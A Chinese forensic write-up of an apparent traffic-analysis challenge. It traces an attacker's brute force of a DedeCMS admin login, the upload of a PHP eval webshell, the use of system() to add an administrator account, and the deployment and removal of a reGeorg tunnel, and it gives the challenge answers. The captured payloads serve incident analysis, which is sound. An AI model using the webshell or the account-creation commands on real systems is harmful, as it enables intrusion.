前记
本篇文章对真实企业渗透流量进行分析,其中包括最开始的目录爆破,到最后的反向代理文件上传成功
题目要求
1 | 黑客拿到一台服务器的权限,之后进行了内网渗透 |
数据分析
题目给了大约6个G的数据文件
直接盲目追踪tcp流显然是非常愚钝的方式。
我们的首要目标应该是筛选出攻击者ip和受害者ip
从而实现有效的定点溯源
而日志文件这个时候就成了很好的切入点
日志文件打开切入点
我们选择日志文件查看
排除内网地址,我们可以看到ip1
202.99.27.194
疯狂对网站发起请求
于是基本可以确定此ip为攻击者
于是我们去wireshark中过滤出相应的攻击流
第一个数据包分析
打开第一个数据流,我们尝试命令1
ip.src == 202.99.27.194 && http
可以发现大量流量如下图
<.jpg”>
不难发现受害者内网ip为1
172.16.60.199
同时得知黑客攻击的第一步为fuzz目标网站目录
然后我们调用wireshark的http负载分配功能
.jpg”>
不难得出,受害者外网ip为1
118.194.196.232
至此我们已经完成了题目的前3题:1
2
31.被攻击的服务器的内网地址
2.被攻击的服务器的外网地址
3.攻击者的ip地址
答案1
2
3172.16.60.199
118.194.196.232
202.99.27.194
第二个数据包分析
然后题目要求我们找出后台地址
故此我们使用过滤条件1
ip.src == 202.99.27.194 && http
不难发现在第二个数据文件中,有如下结果
.jpg”>
黑客不断对1
/simplexue/login.php
进行post数据
我们查看post内容,随便选取一个http请求头查看1
2
3
4
5
6
7
8
9
10
11
12
13POST /simplexue/login.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/login.php
Cookie: PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
gotopage=&dopost=login&adminstyle=newdedecms&userid=admin&pwd=qwerty
不难看出黑客在尝试密码爆破1
userid=admin&pwd=qwerty
故此猜测出,该地址为受害者网站后台
然后我们继续追踪,查看黑客是否爆破登录成功
过滤指令如下1
ip.src == 202.99.27.194 && http.request.method=="POST"
然后我们将结果按照爆破时间排序
发现最后一次post结果为1
gotopage=&dopost=login&adminstyle=newdedecms&userid=admin&pwd=admin123&sm1=
即1
userid=admin&pwd=admin123
并且发现发现响应包1
Set-Cookie: DedeUserID=1; expires=Wed, 10-Aug-2016 02:36:28 GMT; path=/
其中1
DedeUserID=1
故此判断应该登录成功
并且看到后面的标题1
<title>DedeCMS........</title>
还能发现受害者网站使用了DedeCMS
第四个数据包分析
为什么没有第三个数据包分析= =
因为第三个是黑客在寻找后台功能,最终找到可上传文件点
这里就直接看第4个数据包了,因为基本都有涉及
我们使用如下指令1
ip.src == 202.99.27.194 && http.request.method=="POST"
不难发现
.jpg”>
我们查看1
/simplexue/file_manage_control.php
可以发现黑客上传的http请求头1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------76031573231889
Content-Length: 591
-----------------------------76031573231889
Content-Disposition: form-data; name="activepath"
/uploads
-----------------------------76031573231889
Content-Disposition: form-data; name="fmdo"
upload
-----------------------------76031573231889
Content-Disposition: form-data; name="upfile1"; filename="jian.php"
Content-Type: application/octet-stream
<?php eval($_POST[g]);?>
<?php eval($_POST[g]);?>
<?php eval($_POST[g]);?>
-----------------------------76031573231889
Content-Disposition: form-data; name="B1"
........
-----------------------------76031573231889--
黑客上传了一个名为1
jian.php
一句话木马文件
其中代码为1
eval($_POST[g]);
到此我们已经又完成了2道题目1
24.爆破出的后台地址
5.爆破出的后台登录用户名和密码
答案1
2/simplexue/login.php
userid=admin&pwd=admin123
我们接着查看下一题
6.webshell的完整路径
我们查看黑客的第一条指令的http头
1
2
3
4
5
6
7
8
9
10
11
12 POST /uploads/jian.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
g=phpinfo();
不难发现黑客执行了phpinfo()命令
返回中可以看到1
<b>Notice</b>: Use of undefined constant g - assumed 'g' in <b>C:\phpStudy\WWW\dedecms\uploads\jian.php</b> on line <b>1</b><br />
即可发现webshell的绝对路径1
C:\phpStudy\WWW\dedecms\uploads\jian.php
然后我们依次查看黑客执行的命令1
2
3
4
5Form item: "g" = "system("whoami");"
system("net user test test /ad");
system("net localgroup administrators test /ad");
system("net user test");
system("netstat -ano");
不难发现黑客添加了管理员用户,账号密码为1
test test
并且1
netstat -ano
内容为1
2
3
4
5
6
7
8
9
10
11
12
13
14Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1512
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 960
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4008
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1039 0.0.0.0:0 LISTENING 668
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1608
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 4088
TCP 172.16.60.199:80 202.99.27.194:41601 ESTABLISHED 392
TCP 172.16.60.199:135 172.16.60.199:3869 ESTABLISHED 960
TCP 172.16.60.199:139 0.0.0.0:0 LISTENING 4
TCP 172.16.60.199:3144 95.80.107.117:3389 ESTABLISHED 1108
TCP 172.16.60.199:3160 193.124.23.254:3389 ESTABLISHED 1108
TCP 172.16.60.199:3162 200.27
发现开放端口1
80 135 443 445 1039 3306 3389
为了更加详细的了解目标网站的存在问题
我们导出phpinfo文件
保存为1.html
即可发现1
Windows NT SIMPLE-W7LOIJIF 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 1) i586
可以发现主机名为1
SIMPLE-W7LOIJIF
至此
9道题目全部完结
整合所有答案1
2
3
4
5
6
7
8
91.被攻击的服务器的内网地址
2.被攻击的服务器的外网地址
3.攻击者的ip地址
4.爆破出的后台地址
5.爆破出的后台登录用户名和密码
6.webshell的完整路径
7.被攻击服务器的主机名
8.被攻击服务器的网站根目录
9.黑客获得的权限
答案1
2
3
4
5
6
7
8
9172.16.60.199
118.194.196.232
202.99.27.194
/simplexue/login.php
userid=admin&pwd=admin123
C:\phpStudy\WWW\dedecms\uploads\jian.php
SIMPLE-W7LOIJIF
C:\phpStudy\WWW\dedecms\
administrator
继续探索
但是我们的深入研究之路还未结束,我们继续往后发掘
在第6个数据包里
我们执行过滤指令如下1
ip.src == 202.99.27.194 && http
不难看到,黑客再次使用了上传功能
.jpg”>
其中我们看见上传内容1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------102512441528556
Content-Length: 6315
-----------------------------102512441528556
Content-Disposition: form-data; name="activepath"
/uploads
-----------------------------102512441528556
Content-Disposition: form-data; name="fmdo"
upload
-----------------------------102512441528556
Content-Disposition: form-data; name="upfile1"; filename="tunnel.php"
Content-Type: application/octet-stream
<?php
/* _____
____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | |
根据上传文件名,我们百度进行搜索
发现这是一个内网反向代理的文件
工具名为:http_reGeorg
然后我们又在最后一个数据包里发现了黑客对反向代理文件的操作如下图
.jpg”>
最后黑客利用file_manage_control.php
删除了自己上传的反向代理文件tunnel.php1
2
3
4
5
6
7
8
9
10
11
12
13POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=del&filename=tunnel.php&activepath=
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
fmdo=del&activepath=&filename=tunnel.php&imageField1.x=34&imageField1.y=17
然后,黑客删除了自己添加的用户1
2Form item: "g" = "system("net user test /del");"
Form item: "g" = "system("net user");"
最后,黑客再次利用file_manage_control.php删除了自己的一句话木马文件1
2
3
4
5
6
7
8
9
10
11
12
13POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=del&filename=jian.php&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
fmdo=del&activepath=%2Fuploads&filename=jian.php&imageField1.x=31&imageField1.y=17
至此全渗透过程结束
后记
总体来说,黑客做了如下事情1
2
3
4
5
6
7
81.目录爆破
2.爆破后台管理员账户
3.寻找利用后台可利用功能
4.一句话木马上传
5.利用木马在目标机器上添加管理员用户
6.黑客上传反向代理文件
7.黑客进行内网渗透
8.黑客结束渗透,进行尾部处理工作